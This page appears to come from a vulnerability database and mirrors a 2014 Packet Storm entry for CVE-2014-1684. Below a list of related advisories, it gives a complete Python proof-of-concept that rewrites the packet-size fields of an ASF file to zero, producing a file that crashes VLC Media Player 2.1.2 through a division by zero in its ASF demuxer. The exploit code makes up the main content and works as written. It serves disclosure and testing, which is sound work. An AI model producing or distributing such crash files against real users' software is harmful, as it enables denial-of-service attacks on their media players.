Lucene search
K

VLC Media Player 2.1.2 Denial Of Service

🗓️ 06 Feb 2014 00:00:00Reported by Saif El-ShereiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 43 Views

VLC Media Player 2.1.2 Denial Of Service by ASF Demuxer Integer Division By Zer

Related
Code
ReporterTitlePublishedViews
Family
0day.today
VLC 2.1.2 (.asf) - Crash PoC
5 Feb 201400:00
zdt
CVE
CVE-2014-1684
3 Mar 201416:00
cve
Cvelist
CVE-2014-1684
3 Mar 201416:00
cvelist
Debian CVE
CVE-2014-1684
3 Mar 201416:00
debiancve
Tenable Nessus
GLSA-201603-08 : VLC: Multiple vulnerabilities
14 Mar 201600:00
nessus
Tenable Nessus
VLC < 2.1.3 DoS Vulnerability
11 Jun 202000:00
nessus
Gentoo Linux
VLC: Multiple vulnerabilities
12 Mar 201600:00
gentoo
NVD
CVE-2014-1684
3 Mar 201416:55
nvd
OpenVAS
Gentoo Security Advisory GLSA 201603-08
14 Mar 201600:00
openvas
OpenVAS
VLC Media Player ASF Demuxer Denial of Service Vulnerability - Windows
6 Mar 201400:00
openvas
Rows per page
`#!/usr/bin/python  
# VLC Media Player up to 2.1.2 DOS POC Integer Division By zero in ASF Demuxer  
# VLC Media Player is prone to DOS utilizing a division by zero error if minimium data packet size  
# is equal to zero. this was tested on windows XP sp3 and affects all versions of vlc till latest 2.1.2  
# to run this script you need to install python bitstring module   
# usage you supply any valid asf and the script will produxe a POC asf that will crash vlc   
  
import sys  
from bitstring import BitArray  
  
f = open(sys.argv[1],'r+b')  
  
f.seek(0,2)  
  
size = f.tell()  
  
print "[*] file size: %d" % size  
  
f.seek(0,0)  
  
print "[*] ReeeeeWWWWWWiiiiiNNNNNNND"  
  
fb = BitArray(f)  
  
index = fb.find('0xa1dcab8c47a9cf118ee400c00c205365',bytealigned=True)  
  
print "[*] found file properties GUID"  
print "[*] File properties GUID: %s" % fb[index[0]:(index[0]+128)]  
  
# index of minumum packet size in File Proprties header  
i_min_data_pkt_size = index[0] + 736  
  
print "[*] Original Minimum Data Packet Size: %s" % fb[i_min_data_pkt_size:i_min_data_pkt_size+32].hex  
print "[*] Original Maximum Data Packet Size: %s" % fb[i_min_data_pkt_size+32:i_min_data_pkt_size+64].hex  
  
# Accroding to ASF standarad the minimum data size and the maximum data size should be equal  
print "[*] Changing Miniumum and Maximum Data packet size to 0"  
  
# changing the data packets in bit array  
  
fb[i_min_data_pkt_size:i_min_data_pkt_size+8] = 0x00  
fb[i_min_data_pkt_size+8:i_min_data_pkt_size+16] = 0x00  
fb[i_min_data_pkt_size+16:i_min_data_pkt_size+24] = 0x00  
fb[i_min_data_pkt_size+24:i_min_data_pkt_size+32] = 0x00  
fb[i_min_data_pkt_size+32:i_min_data_pkt_size+40] = 0x00  
fb[i_min_data_pkt_size+40:i_min_data_pkt_size+48] = 0x00  
fb[i_min_data_pkt_size+48:i_min_data_pkt_size+56] = 0x00  
fb[i_min_data_pkt_size+56:i_min_data_pkt_size+64] = 0x00  
  
print "[*] POC File Created poc.asf"  
  
of = open('poc.asf','w+b')  
fb.tofile(of)  
of.close()  
f.close()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation